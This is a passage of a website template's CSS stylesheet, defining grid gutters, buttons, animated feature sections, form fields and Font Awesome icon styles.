.off-8-xsmall {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xsmall {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xsmall {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xsmall {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xsmall {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xsmall {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xsmall {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xsmall {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xsmall {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Box */\n\n\t.box {\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin-bottom: 2em;\n\t\tpadding: 1.5em;\n\t}\n\n\t\t.box > :last-child,\n\t\t.box > :last-child > :last-child,\n\t\t.box > :last-child > :last-child > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.box.alt {\n\t\t\tborder: 0;\n\t\t\tborder-radius: 0;\n\t\t\tpadding: 0;\n\t\t}\n\n/* Button */\n\n\tinput[type=\"submit\"],\n\tinput[type=\"reset\"],\n\tinput[type=\"button\"],\n\tbutton,\n\t.button {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\t-moz-transition: border-color 0.2s ease;\n\t\t-webkit-transition: border-color 0.2s ease;\n\t\t-ms-transition: border-color 0.2s ease;\n\t\ttransition: border-color 0.2s ease;\n\t\tbackground-color: transparent;\n\t\tborder: solid 1px !important;\n\t\tborder-color: rgba(255, 255, 255, 0.15) !important;\n\t\tborder-radius: 3em;\n\t\tcolor: #ffffff !important;\n\t\tcursor: pointer;\n\t\tdisplay: inline-block;\n\t\tfont-size: 0.6em;\n\t\tfont-weight: bold;\n\t\theight: calc(4.75em + 2px);\n\t\tletter-spacing: 0.25em;\n\t\tline-height: 4.75em;\n\t\toutline: 0;\n\t\tpadding: 0 3.75em;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\ttext-decoration: none;\n\t\ttext-transform: uppercase;\n\t\twhite-space: nowrap;\n\t}\n\n\t\tinput[type=\"submit\"]:after,\n\t\tinput[type=\"reset\"]:after,\n\t\tinput[type=\"button\"]:after,\n\t\tbutton:after,\n\t\t.button:after {\n\t\t\t-moz-transform: scale(0.25);\n\t\t\t-webkit-transform: scale(0.25);\n\t\t\t-ms-transform: scale(0.25);\n\t\t\ttransform: scale(0.25);\n\t\t\tpointer-events: none;\n\t\t\t-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;\n\t\t\t-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;\n\t\t\t-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;\n\t\t\ttransition: opacity 0.2s ease, transform 0.2s ease;\n\t\t\tbackground: #ffffff;\n\t\t\tborder-radius: 3em;\n\t\t\tcontent: '';\n\t\t\theight: 100%;\n\t\t\tleft: 0;\n\t\t\topacity: 0;\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].icon:before,\n\t\tinput[type=\"reset\"].icon:before,\n\t\tinput[type=\"button\"].icon:before,\n\t\tbutton.icon:before,\n\t\t.button.icon:before {\n\t\t\tmargin-right: 0.75em;\n\t\t}\n\n\t\tinput[type=\"submit\"].fit,\n\t\tinput[type=\"reset\"].fit,\n\t\tinput[type=\"button\"].fit,\n\t\tbutton.fit,\n\t\t.button.fit {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].small,\n\t\tinput[type=\"reset\"].small,\n\t\tinput[type=\"button\"].small,\n\t\tbutton.small,\n\t\t.button.small {\n\t\t\tfont-size: 0.4em;\n\t\t}\n\n\t\tinput[type=\"submit\"].large,\n\t\tinput[type=\"reset\"].large,\n\t\tinput[type=\"button\"].large,\n\t\tbutton.large,\n\t\t.button.large {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\tinput[type=\"submit\"].primary,\n\t\tinput[type=\"reset\"].primary,\n\t\tinput[type=\"button\"].primary,\n\t\tbutton.primary,\n\t\t.button.primary {\n\t\t\tbackground-color: #ffffff;\n\t\t\tcolor: #312450 !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"].primary:after,\n\t\t\tinput[type=\"reset\"].primary:after,\n\t\t\tinput[type=\"button\"].primary:after,\n\t\t\tbutton.primary:after,\n\t\t\t.button.primary:after {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\tinput[type=\"submit\"].disabled, input[type=\"submit\"]:disabled,\n\t\tinput[type=\"reset\"].disabled,\n\t\tinput[type=\"reset\"]:disabled,\n\t\tinput[type=\"button\"].disabled,\n\t\tinput[type=\"button\"]:disabled,\n\t\tbutton.disabled,\n\t\tbutton:disabled,\n\t\t.button.disabled,\n\t\t.button:disabled {\n\t\t\tcursor: default;\n\t\t\topacity: 0.5;\n\t\t\tpointer-events: none;\n\t\t}\n\n\t\tinput[type=\"submit\"]:hover,\n\t\tinput[type=\"reset\"]:hover,\n\t\tinput[type=\"button\"]:hover,\n\t\tbutton:hover,\n\t\t.button:hover {\n\t\t\tborder-color: rgba(255, 255, 255, 0.55) !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:after,\n\t\t\tinput[type=\"reset\"]:hover:after,\n\t\t\tinput[type=\"button\"]:hover:after,\n\t\t\tbutton:hover:after,\n\t\t\t.button:hover:after {\n\t\t\t\topacity: 0.05;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:active,\n\t\t\tinput[type=\"reset\"]:hover:active,\n\t\t\tinput[type=\"button\"]:hover:active,\n\t\t\tbutton:hover:active,\n\t\t\t.button:hover:active {\n\t\t\t\tborder-color: #ffffff !important;\n\t\t\t}\n\n\t\t\t\tinput[type=\"submit\"]:hover:active:after,\n\t\t\t\tinput[type=\"reset\"]:hover:active:after,\n\t\t\t\tinput[type=\"button\"]:hover:active:after,\n\t\t\t\tbutton:hover:active:after,\n\t\t\t\t.button:hover:active:after {\n\t\t\t\t\topacity: 0.1;\n\t\t\t\t}\n\n/* Features */\n\n\t.features {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-wrap: wrap;\n\t\t-webkit-flex-wrap: wrap;\n\t\t-ms-flex-wrap: wrap;\n\t\tflex-wrap: wrap;\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\t.features section {\n\t\t\tpadding: 3.5em 3em 1em 7em ;\n\t\t\twidth: 50%;\n\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\t.features section:nth-child(-n + 2) {\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2n) {\n\t\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t}\n\n\t\t\t.features section .icon {\n\t\t\t\t-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;\n\t\t\t\t-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;\n\t\t\t\t-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;\n\t\t\t\ttransition: opacity 0.5s ease, transform 0.5s ease;\n\t\t\t\t-moz-transition-delay: 1s;\n\t\t\t\t-webkit-transition-delay: 1s;\n\t\t\t\t-ms-transition-delay: 1s;\n\t\t\t\ttransition-delay: 1s;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t\tposition: absolute;\n\t\t\t\tleft: 3em;\n\t\t\t\ttop: 3em;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t\t.features section:nth-child(1) .icon {\n\t\t\t\t-moz-transition-delay: 0.15s;\n\t\t\t\t-webkit-transition-delay: 0.15s;\n\t\t\t\t-ms-transition-delay: 0.15s;\n\t\t\t\ttransition-delay: 0.15s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2) .icon {\n\t\t\t\t-moz-transition-delay: 0.3s;\n\t\t\t\t-webkit-transition-delay: 0.3s;\n\t\t\t\t-ms-transition-delay: 0.3s;\n\t\t\t\ttransition-delay: 0.3s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(3) .icon {\n\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\ttransition-delay: 0.45s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(4) .icon {\n\t\t\t\t-moz-transition-delay: 0.6s;\n\t\t\t\t-webkit-transition-delay: 0.6s;\n\t\t\t\t-ms-transition-delay: 0.6s;\n\t\t\t\ttransition-delay: 0.6s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(5) .icon {\n\t\t\t\t-moz-transition-delay: 0.75s;\n\t\t\t\t-webkit-transition-delay: 0.75s;\n\t\t\t\t-ms-transition-delay: 0.75s;\n\t\t\t\ttransition-delay: 0.75s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(6) .icon {\n\t\t\t\t-moz-transition-delay: 0.9s;\n\t\t\t\t-webkit-transition-delay: 0.9s;\n\t\t\t\t-ms-transition-delay: 0.9s;\n\t\t\t\ttransition-delay: 0.9s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(7) .icon {\n\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\ttransition-delay: 1.05s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(8) .icon {\n\t\t\t\t-moz-transition-delay: 1.2s;\n\t\t\t\t-webkit-transition-delay: 1.2s;\n\t\t\t\t-ms-transition-delay: 1.2s;\n\t\t\t\ttransition-delay: 1.2s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(9) .icon {\n\t\t\t\t-moz-transition-delay: 1.35s;\n\t\t\t\t-webkit-transition-delay: 1.35s;\n\t\t\t\t-ms-transition-delay: 1.35s;\n\t\t\t\ttransition-delay: 1.35s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(10) .icon {\n\t\t\t\t-moz-transition-delay: 1.5s;\n\t\t\t\t-webkit-transition-delay: 1.5s;\n\t\t\t\t-ms-transition-delay: 1.5s;\n\t\t\t\ttransition-delay: 1.5s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(11) .icon {\n\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\ttransition-delay: 1.65s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(12) .icon {\n\t\t\t\t-moz-transition-delay: 1.8s;\n\t\t\t\t-webkit-transition-delay: 1.8s;\n\t\t\t\t-ms-transition-delay: 1.8s;\n\t\t\t\ttransition-delay: 1.8s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(13) .icon {\n\t\t\t\t-moz-transition-delay: 1.95s;\n\t\t\t\t-webkit-transition-delay: 1.95s;\n\t\t\t\t-ms-transition-delay: 1.95s;\n\t\t\t\ttransition-delay: 1.95s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(14) .icon {\n\t\t\t\t-moz-transition-delay: 2.1s;\n\t\t\t\t-webkit-transition-delay: 2.1s;\n\t\t\t\t-ms-transition-delay: 2.1s;\n\t\t\t\ttransition-delay: 2.1s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(15) .icon {\n\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\ttransition-delay: 2.25s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(16) .icon {\n\t\t\t\t-moz-transition-delay: 2.4s;\n\t\t\t\t-webkit-transition-delay: 2.4s;\n\t\t\t\t-ms-transition-delay: 2.4s;\n\t\t\t\ttransition-delay: 2.4s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(17) .icon {\n\t\t\t\t-moz-transition-delay: 2.55s;\n\t\t\t\t-webkit-transition-delay: 2.55s;\n\t\t\t\t-ms-transition-delay: 2.55s;\n\t\t\t\ttransition-delay: 2.55s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(18) .icon {\n\t\t\t\t-moz-transition-delay: 2.7s;\n\t\t\t\t-webkit-transition-delay: 2.7s;\n\t\t\t\t-ms-transition-delay: 2.7s;\n\t\t\t\ttransition-delay: 2.7s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(19) .icon {\n\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\ttransition-delay: 2.85s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(20) .icon {\n\t\t\t\t-moz-transition-delay: 3s;\n\t\t\t\t-webkit-transition-delay: 3s;\n\t\t\t\t-ms-transition-delay: 3s;\n\t\t\t\ttransition-delay: 3s;\n\t\t\t}\n\n\t\t.features.inactive section .icon {\n\t\t\t-moz-transform: scale(0.5);\n\t\t\t-webkit-transform: scale(0.5);\n\t\t\t-ms-transform: scale(0.5);\n\t\t\ttransform: scale(0.5);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.features {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.features section {\n\t\t\t\t\tborder-top-width: 1px !important;\n\t\t\t\t\tborder-left-width: 0 !important;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\t.features section:first-child {\n\t\t\t\t\t\tborder-top-width: 0 !important;\n\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2.5em 1.5em 0.1em 5.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 1.5em;\n\t\t\t\t\ttop: 2em;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2em 1.5em 0.1em 1.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 0;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\ttop: 0;\n\t\t\t\t}\n\n\t\t}\n\n/* Form */\n\n\tform {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tform > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\tform > .fields {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-wrap: wrap;\n\t\t\t-webkit-flex-wrap: wrap;\n\t\t\t-ms-flex-wrap: wrap;\n\t\t\tflex-wrap: wrap;\n\t\t\twidth: calc(100% + 3em);\n\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t}\n\n\t\t\tform > .fields > .field {\n\t\t\t\t-moz-flex-grow: 0;\n\t\t\t\t-webkit-flex-grow: 0;\n\t\t\t\t-ms-flex-grow: 0;\n\t\t\t\tflex-grow: 0;\n\t\t\t\t-moz-flex-shrink: 0;\n\t\t\t\t-webkit-flex-shrink: 0;\n\t\t\t\t-ms-flex-shrink: 0;\n\t\t\t\tflex-shrink: 0;\n\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t}\n\n\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\twidth: calc(50% - 0.75em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\twidth: calc(100%/3 - 0.5em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\twidth: calc(25% - 0.375em);\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tform > .fields {\n\t\t\t\twidth: calc(100% + 3em);\n\t\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t\t}\n\n\t\t\t\tform > .fields > .field {\n\t\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t}\n\n\tlabel {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.7em 0;\n\t\tdisplay: block;\n\t\tfont-size: 1.1em;\n\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tinput[type=\"tel\"],\n\tselect,\n\ttextarea {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: none;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tcolor: inherit;\n\t\tdisplay: block;\n\t\toutline: 0;\n\t\tpadding: 0 1em;\n\t\ttext-decoration: none;\n\t\twidth: 100%;\n\t}\n\n\t\tinput[type=\"text\"]:invalid,\n\t\tinput[type=\"password\"]:invalid,\n\t\tinput[type=\"email\"]:invalid,\n\t\tinput[type=\"tel\"]:invalid,\n\t\tselect:invalid,\n\t\ttextarea:invalid {\n\t\t\tbox-shadow: none;\n\t\t}\n\n\t\tinput[type=\"text\"]:focus,\n\t\tinput[type=\"password\"]:focus,\n\t\tinput[type=\"email\"]:focus,\n\t\tinput[type=\"tel\"]:focus,\n\t\tselect:focus,\n\t\ttextarea:focus {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tselect {\n\t\tbackground-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E\");\n\t\tbackground-size: 1.25rem;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-position: calc(100% - 1rem) center;\n\t\theight: 2.75em;\n\t\tpadding-right: 2.75em;\n\t\ttext-overflow: ellipsis;\n\t}\n\n\t\tselect option {\n\t\t\tcolor: #ffffff;\n\t\t\tbackground: #312450;\n\t\t}\n\n\t\tselect:focus::-ms-value {\n\t\t\tbackground-color: transparent;\n\t\t}\n\n\t\tselect::-ms-expand {\n\t\t\tdisplay: none;\n\t\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tselect {\n\t\theight: 2.75em;\n\t}\n\n\ttextarea {\n\t\tpadding: 0.75em 1em;\n\t}\n\n\t\tbody.is-ie textarea {\n\t\t\tmin-height: 10em;\n\t\t}\n\n\tinput[type=\"checkbox\"],\n\tinput[type=\"radio\"] {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tdisplay: block;\n\t\tfloat: left;\n\t\tmargin-right: -2em;\n\t\topacity: 0;\n\t\twidth: 1em;\n\t\tz-index: -1;\n\t}\n\n\t\tinput[type=\"checkbox\"] + label,\n\t\tinput[type=\"radio\"] + label {\n\t\t\ttext-decoration: none;\n\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\tcursor: pointer;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: normal;\n\t\t\tpadding-left: 2.4em;\n\t\t\tpadding-right: 0.75em;\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-style: normal;\n\t\t\t\tfont-variant: normal;\n\t\t\t\ttext-rendering: auto;\n\t\t\t\tline-height: 1;\n\t\t\t\ttext-transform: none !important;\n\t\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\t\tfont-weight: 900;\n\t\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\t\t\tborder-radius: 0.25em;\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-size: 0.8em;\n\t\t\t\theight: 2.0625em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 2.0625em;\n\t\t\t\tposition: absolute;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 2.0625em;\n\t\t\t}\n\n\t\tinput[type=\"checkbox\"]:checked + label:before,\n\t\tinput[type=\"radio\"]:checked + label:before {\n\t\t\tbackground: #ffffff;\n\t\t\tborder-color: #ffffff;\n\t\t\tcolor: #b74e91;\n\t\t\tcontent: '\\f00c';\n\t\t}\n\n\t\tinput[type=\"checkbox\"]:focus + label:before,\n\t\tinput[type=\"radio\"]:focus + label:before {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tinput[type=\"checkbox\"] + label:before {\n\t\tborder-radius: 0.25em;\n\t}\n\n\tinput[type=\"radio\"] + label:before {\n\t\tborder-radius: 100%;\n\t}\n\n\t::-webkit-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t::-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-ms-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n/* Icon */\n\n\t.icon {\n\t\ttext-decoration: none;\n\t\tborder-bottom: none;\n\t\tposition: relative;\n\t}\n\n\t\t.icon:before {\n\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-style: normal;\n\t\t\tfont-variant: normal;\n\t\t\ttext-rendering: auto;\n\t\t\tline-height: 1;\n\t\t\ttext-transform: none !important;\n\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\tfont-weight: 400;\n\t\t}\n\n\t\t.icon > .label {\n\t\t\tdisplay: none;\n\t\t}\n\n\t\t.icon:before {\n\t\t\tline-height: inherit;\n\t\t}\n\n\t\t.icon.solid:before {\n\t\t\tfont-weight: 900;\n\t\t}\n\n\t\t.icon.brands:before {\n\t\t\tfont-family: 'Font Awesome 5 Brands';\n\t\t}\n\n\t\t.icon.major {\n\t\t\twidth: 2.5em;\n\t\t\theight: 2.5em;\n\t\t\tdisplay: block;\n\t\t\tbackground: #111111;\n\t\t\tborder-radius: 100%;\n\t\t\tcolor: #FF124f;\n\t\t\ttext-align: center;\n\t\t\tline-height: 2.5em;\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t}\n\n\t\t\t.icon.major:before {\n\t\t\t\tfont-size: 1.25em;\n\t\t\t}\n\n\t\t\t\t.wrapper.style1 .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style1-alt .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2 .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2-alt .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3 .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3-alt .icon.major:before {\n\t\t\t\t\tcolor: #FF124f;\n\t\t\t\t}\n\n/* Image */\n\n\t.image {\n\t\tborder-radius: 0.25em;\n\t\tborder: 